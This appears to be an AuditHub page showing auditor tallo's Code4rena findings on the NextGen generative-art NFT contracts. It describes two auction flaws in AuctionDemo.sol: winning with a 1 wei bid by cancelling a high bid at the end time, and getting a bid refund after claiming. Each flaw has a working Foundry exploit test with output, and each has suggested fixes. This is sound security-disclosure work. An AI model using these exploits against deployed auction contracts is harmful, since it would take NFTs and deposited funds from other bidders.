NextGen - tallo's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 237/243

Findings: 1

Award: $0.00

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
edited-by-warden
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57

Vulnerability details

Impact

A malicious user can block others from bidding on an NFT and win any auction for free.

Vulnerability Explanation

  1. A malicious user places two bids on an NFT, the first one being for dust (1 wei), and the second for a very large amount(100 ETH) that is substantially more than the NFT is worth. The goal is to make so it's not in anyone's interest to outbid you
  2. Since your second auction grossly overvalues the NFT, at the time the auction has ended nobody will have been able to place a new bid since the requirement for each new bid is that it is greater than the previous highest bid. This means the only two bids placed will have been yours for 1 WEI and 100 ETH
    function participateToAuction(uint256 _tokenid) public payable {
        //@audit here msg.value must be greater than returnHighestBid
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); 
        //...
     }
  1. Exactly at block.timestamp == auctionEndTime, in the same transaction we can call cancelBid on our high bid, and claimAuction so that our low bid is the new winner. The auction allows us to do this because the following require statements allow us to both call claimAuction and cancelBid when minter.getAuctionEndTime(_tokenid) <= block.timestamp and when block.timestamp <= minter.getAuctionEndTime(_tokenid), which happens when block.timestamp == minter.getAuctionEndTime(_tokenid)
    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        //...
     }
    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        //...
     }
  1. We have now won the bid war for 1 WEI

Proof of Concept

  1. In the 2023-10-nextgen root folder initialize the directory with foundry by calling forge init --no-git --force
  2. copy the following test into a file inside the test folder
  3. Inside the setUp function, replace the goerli url with one featuring your infura api key
  4. run the test using the command forge test --chain-id 5 -vv --match-test test_auction
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "forge-std/console.sol";

import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/RandomizerVRF.sol";
import "../smart-contracts/RandomizerRNG.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/AuctionDemo.sol";

contract ForkTest is Test {
    NextGenCore core = NextGenCore(address(0xF3ff54B93844B1512C7bDafd2c41B5D228D03f98));
    NextGenMinterContract minter = NextGenMinterContract(address(0x0DC656875269F58EBd1d663168aB298a338f3FCe));
    NextGenAdmins admins = NextGenAdmins(address(0x1bAe1D145Dd61fBBB62C85f8A6d7B6eDe0D150f5));
    NextGenRandomizerVRF randomizerVRF = NextGenRandomizerVRF(payable(address(0x1F8bA6B5a58F75646640699e438930cB0ed424EF)));
    NextGenRandomizerRNG randomizerRNG = NextGenRandomizerRNG(payable(address(0x3dFfAa14320Af6B68b5FaBf1719f3a242393654c)));
    NextGenRandomizerNXT randomizerNXT = NextGenRandomizerNXT(payable(address(0x31Ae001786963878de416Bc5EEa225B8A084B828)));
    DelegationManagementContract delegation = DelegationManagementContract(address(0xAD024eeD08190285Edb7100c9Caabe79d48e448B));
    auctionDemo auction; 

    address owner; 
    address owner_admins;
    address artist1 = address(0xA41);
    address artist2 = address(0xA42);
    address admin = address(0x1111); 
    address function_admin = address(0x2222); 
    address user1 = address(0xaaaa);
    address user2 = address(0xbbbb);

    function setUp() public {
        //REPLACE WITH YOUR TESTNET RPC URL
        //"https://goerli.infura.io/v3/API_KEY"
        vm.selectFork(vm.createFork("https://goerli.infura.io/v3/API_KEY"));
        owner = address(core.owner());
        owner_admins = address(admins.owner()); 
        vm.deal(user1, 100e18);
        vm.deal(user2, 100e18);
        auction = new auctionDemo(address(minter), address(core), address(admins));
    }

    function test_auction() public {
        vm.prank(owner_admins);
        admins.registerAdmin(admin, true);

        string[] memory s = new string[](1); 
        s[0] = "";

        //create and initialize collection
        vm.startPrank(admin);

        uint256 tokenID = 6;
        core.createCollection("coll 6", "", "", "", "", "", "", s);
        core.setCollectionData(tokenID, artist1, 15, 15, block.timestamp+10);
        core.addRandomizer(tokenID, address(randomizerNXT));
        minter.setCollectionCosts(tokenID, 1.3e18, 5e18, 1e18, 100, 1, owner);
        minter.setCollectionPhases(tokenID, block.timestamp, block.timestamp+100, block.timestamp+101, block.timestamp+200, bytes32(0));
        minter.initializeExternalBurnOrSwap(address(testNFT), tokenID, tokenID, 0, 10, user1, true);

        vm.stopPrank();
        vm.prank(admin);
        minter.mintAndAuction(user2, "", 0, 6, block.timestamp+10);

        tokenID = 60000000000;
        console.log("Balance winner before: %s", payable(user1).balance);
        console.log("user1 is owner of NFT:  %s", user1 == core.ownerOf(tokenID) );
        console.log("===============================");
        //approve nft
        vm.prank(user2);
        core.approve(address(auction), tokenID);
    
        vm.startPrank(user1);
        console.log("Making bet for 1 WEI...\n");
        auction.participateToAuction{value: 1}(tokenID);

        console.log("Making bet for 99e18 WEI...\n");
        auction.participateToAuction{value: 99e18}(tokenID);
        vm.stopPrank();

        vm.startPrank(user2);
        console.log("User2 bet for 1e18 WEI reverts...\n");
        vm.expectRevert();
        auction.participateToAuction{value: 1e18}(tokenID);

        vm.stopPrank();
        
        //warp to auction end time
        vm.warp(block.timestamp+10);

        vm.startPrank(user1);
        console.log("Canceling high bid so the low bid is the winner...\n");
        auction.cancelBid(tokenID, 1);
        console.log("Claiming auction as winner...\n");
        auction.claimAuction(tokenID);
        vm.stopPrank();
        
        console.log("===============================");
        console.log("Balance winner after:  %s", payable(user1).balance);
        console.log("user1 is owner of NFT:  %s", user1 == core.ownerOf(tokenID) );

    }
}

Output:

Balance winner before: 100000000000000000000 user1 is owner of NFT: false =============================== Making bet for 1 WEI... Making bet for 99e18 WEI... User2 bet for 1e18 WEI reverts... Canceling high bid so the low bid is the winner... Claiming auction as winner... =============================== Balance winner after: 99999999999999999999 user1 is owner of NFT: true

Tools Used

VIM, foundry

  1. Don't allow users to cancel their bids within a certain time period before the auctions end. For instance, if the auction period is a day long, then consider blocking cancellations for the last hour
  2. Disallow the winning bid from being cancelled if the auction has ended so that they are forced to claim the NFT

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-11-15T09:15:54Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-02T15:22:00Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-05T23:41:58Z

alex-ppg marked the issue as duplicate of #1513

#3 - c4-judge

2023-12-07T11:49:42Z

alex-ppg marked the issue as duplicate of #1323

#4 - c4-judge

2023-12-08T17:26:38Z

alex-ppg marked the issue as partial-50

#5 - c4-judge

2023-12-08T17:28:17Z

alex-ppg marked the issue as satisfactory

#6 - c4-judge

2023-12-08T18:18:42Z

alex-ppg marked the issue as partial-50

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
edited-by-warden
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104

Vulnerability details

Impact

A user can withdraw their winning bid after they have already claimed the auction and won their NFT. This means the winner can always get their auctioned NFT for free. Although the auction owner will correctly receive the funds for the auctioned NFT when claimAuction is called, the malicious winner will be able to withdraw other users deposited ETH.

Proof of Concept

  1. In the 2023-10-nextgen root folder initialize the directory with foundry by calling forge init --no-git --force
  2. copy the following test into a file inside the test folder
  3. Inside the setUp function, replace the goerli url with one featuring your infura api key
  4. run the test using the command forge test --chain-id 5 -vv --match-test test_auctionCancel
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "forge-std/console.sol";

import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/RandomizerVRF.sol";
import "../smart-contracts/RandomizerRNG.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/AuctionDemo.sol";

contract ForkTest is Test {
    NextGenCore core = NextGenCore(address(0xF3ff54B93844B1512C7bDafd2c41B5D228D03f98));
    NextGenMinterContract minter = NextGenMinterContract(address(0x0DC656875269F58EBd1d663168aB298a338f3FCe));
    NextGenAdmins admins = NextGenAdmins(address(0x1bAe1D145Dd61fBBB62C85f8A6d7B6eDe0D150f5));
    NextGenRandomizerVRF randomizerVRF = NextGenRandomizerVRF(payable(address(0x1F8bA6B5a58F75646640699e438930cB0ed424EF)));
    NextGenRandomizerRNG randomizerRNG = NextGenRandomizerRNG(payable(address(0x3dFfAa14320Af6B68b5FaBf1719f3a242393654c)));
    NextGenRandomizerNXT randomizerNXT = NextGenRandomizerNXT(payable(address(0x31Ae001786963878de416Bc5EEa225B8A084B828)));
    DelegationManagementContract delegation = DelegationManagementContract(address(0xAD024eeD08190285Edb7100c9Caabe79d48e448B));
    auctionDemo auction; 

    address owner; 
    address owner_admins;
    address artist1 = address(0xA41);
    address artist2 = address(0xA42);
    address admin = address(0x1111); 
    address function_admin = address(0x2222); 
    address user1 = address(0xaaaa);
    address user2 = address(0xbbbb);

    function setUp() public {
        //REPLACE WITH YOUR TESTNET RPC URL
        //"https://goerli.infura.io/v3/API_KEY"
        vm.selectFork(vm.createFork("https://goerli.infura.io/v3/API_KEY"));
        owner = address(core.owner());
        owner_admins = address(admins.owner()); 
        vm.deal(user1, 100e18);
        vm.deal(user2, 100e18);
        auction = new auctionDemo(address(minter), address(core), address(admins));
    }
    function test_auctionCancel() public {
        vm.prank(owner_admins);
        admins.registerAdmin(admin, true);

        string[] memory s = new string[](1); 
        s[0] = "";

        //create and initialize collection
        vm.startPrank(admin);

        uint256 tokenID = 6;
        core.createCollection("coll 6", "", "", "", "", "", "", s);
        core.setCollectionData(tokenID, artist1, 15, 15, block.timestamp+10);
        core.addRandomizer(tokenID, address(randomizerNXT));
        minter.setCollectionCosts(tokenID, 1.3e18, 5e18, 1e18, 100, 1, owner);
        minter.setCollectionPhases(tokenID, block.timestamp, block.timestamp+100, block.timestamp+101, block.timestamp+200, bytes32(0));
        minter.initializeExternalBurnOrSwap(address(testNFT), tokenID, tokenID, 0, 10, user1, true);

        vm.stopPrank();
        vm.prank(admin);
        minter.mintAndAuction(user2, "", 0, 6, block.timestamp+10);

        tokenID = 60000000000;
        console.log("Balance winner before: %s", payable(user1).balance);
        console.log("user1 is owner of NFT:  %s", user1 == core.ownerOf(tokenID) );
        console.log("===============================");
        //approve nft
        vm.prank(user2);
        core.approve(address(auction), tokenID);
    
        vm.startPrank(user1);
        console.log("Making bet for 99e18 WEI...\n");
        auction.participateToAuction{value: 99e18}(tokenID);
        vm.stopPrank();

        //warp to auction end time
        vm.warp(block.timestamp+10);

        vm.startPrank(user1);
        console.log("Claiming auction as winner...\n");
        auction.claimAuction(tokenID);
        console.log("Canceling bid..."); 
        auction.cancelBid(tokenID, 0);
        vm.stopPrank();
        
        console.log("===============================");
        console.log("Balance winner after:  %s", payable(user1).balance);
        console.log("user1 is owner of NFT:  %s", user1 == core.ownerOf(tokenID) );

    }

}

Output:

Balance winner before: 100000000000000000000 user1 is owner of NFT: false =============================== Making bet for 99e18 WEI... Claiming auction as winner... Canceling bid... =============================== Balance winner after: 100000000000000000000 user1 is owner of NFT: true

Tools Used

VIM, foundry

Invalidate the winning bids status when claimAuction is called

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-11-15T09:13:25Z

141345 marked the issue as duplicate of #962

#1 - c4-pre-sort

2023-11-15T09:13:33Z

141345 marked the issue as not a duplicate

#2 - c4-pre-sort

2023-11-15T09:13:42Z

141345 marked the issue as duplicate of #1172

#3 - c4-judge

2023-12-06T21:28:03Z

alex-ppg marked the issue as duplicate of #1323

#4 - c4-judge

2023-12-08T18:18:35Z

alex-ppg marked the issue as partial-50

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter